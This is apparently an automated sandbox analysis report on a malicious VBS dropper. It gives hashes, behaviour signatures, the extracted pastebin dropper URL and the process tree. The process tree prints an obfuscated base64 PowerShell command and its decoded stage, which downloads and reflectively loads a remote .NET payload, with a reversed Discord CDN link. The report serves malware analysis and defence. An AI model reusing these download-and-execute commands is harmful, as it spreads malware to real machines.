Analysis

  • max time kernel
    13s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-09-2024 07:14

General

  • Target

    sostener.vbs

  • Size

    1.6MB

  • MD5

    76dc07a863d93237819c1e08c5bb0eef

  • SHA1

    fc7e6a1ef7679f7461ae8b34987b46dc118cc4bb

  • SHA256

    5e519ab2640c9d1065a0e7610661fcd83e2e38869d48768fcd1b674b3804dd0f

  • SHA512

    9538b37d31fcb53e968ce7e69c13166e3f4f16fada79b9bac91ec2de012ed5b2642e6e380591c9716e9ae8d8f1149b7492e06c291bb8ec6a234af47daf95b51e

  • SSDEEP

    192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPP7:IeGsXcpR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bq☆GU☆egB0☆HM☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆G8☆YgB0☆G4☆aw☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HU☆e☆B4☆Gc☆Yg☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B1☆Hg☆e☆Bn☆GI☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆CY☆ZgBi☆Dc☆Mw☆w☆DU☆Mw☆w☆DU☆M☆☆x☆GE☆YQBi☆GI☆M☆☆2☆Dc☆OQ☆2☆Dc☆Yg☆2☆DY☆O☆☆z☆GI☆O☆☆w☆DQ☆N☆☆4☆GU☆Z☆☆1☆Dg☆Mg☆5☆GY☆N☆☆4☆GI☆MQBl☆DM☆Yw☆4☆GQ☆M☆Bl☆GY☆Mw☆2☆DY☆Mw☆y☆DE☆O☆☆0☆DE☆ZQ☆1☆GI☆Ng☆9☆G0☆a☆☆m☆Dc☆YgBk☆D☆☆N☆Bm☆DY☆Ng☆9☆HM☆aQ☆m☆Dc☆MwBm☆DU☆NQBm☆DY☆Ng☆9☆Hg☆ZQ☆/☆HQ☆e☆B0☆C4☆OQ☆w☆DU☆MgBz☆G8☆Uw☆v☆Dk☆NQ☆5☆DU☆M☆☆y☆DU☆OQ☆4☆DM☆O☆☆4☆Dk☆O☆☆0☆Dg☆O☆☆y☆DE☆Lw☆2☆DE☆O☆☆z☆D☆☆MQ☆5☆DE☆O☆☆4☆DI☆O☆☆0☆DY☆Mw☆1☆DE☆Mg☆x☆C8☆cwB0☆G4☆ZQBt☆Gg☆YwBh☆HQ☆d☆Bh☆C8☆bQBv☆GM☆LgBw☆H☆☆YQBk☆HI☆bwBj☆HM☆aQBk☆C4☆bgBk☆GM☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆Bv☆GI☆d☆Bu☆Gs☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆dQBq☆HM☆d☆Bn☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆Bq☆GU☆egB0☆HM☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$jezts = '0';$obtnk = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uxxgb = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uxxgb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('&fb730530501aabb067967b6683b80448ed5829f48b1e3c8d0ef366321841e5b6=mh&7bd04f66=si&73f55f66=xe?txt.9052soS/9595025983889848821/6183019188284635121/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $obtnk , '_____ujstg_______________________________________-------', $jezts, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2140

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    12cd4178a00cb3b6a8199f0bd863dda8

    SHA1

    c80e6769d87d730b7e4f997c3572ceb40d3bfd1f

    SHA256

    c85f475f6b55fde7c96971ce611dc7a661faef98eb72f503638967dbb880cdb7

    SHA512

    b1f6ff138873c35307b70e42dcf74cce4af0a7bd927b38ef49b0d0d4aec2c8be5d7f897f4e4bc4aa76dbba60ecfb236872fc2db3b36373659f27dd4a044150e1

  • memory/2228-4-0x000007FEF5EFE000-0x000007FEF5EFF000-memory.dmp

    Filesize

    4KB

  • memory/2228-5-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2228-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB

  • memory/2228-7-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2228-8-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2228-9-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2228-15-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2228-16-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB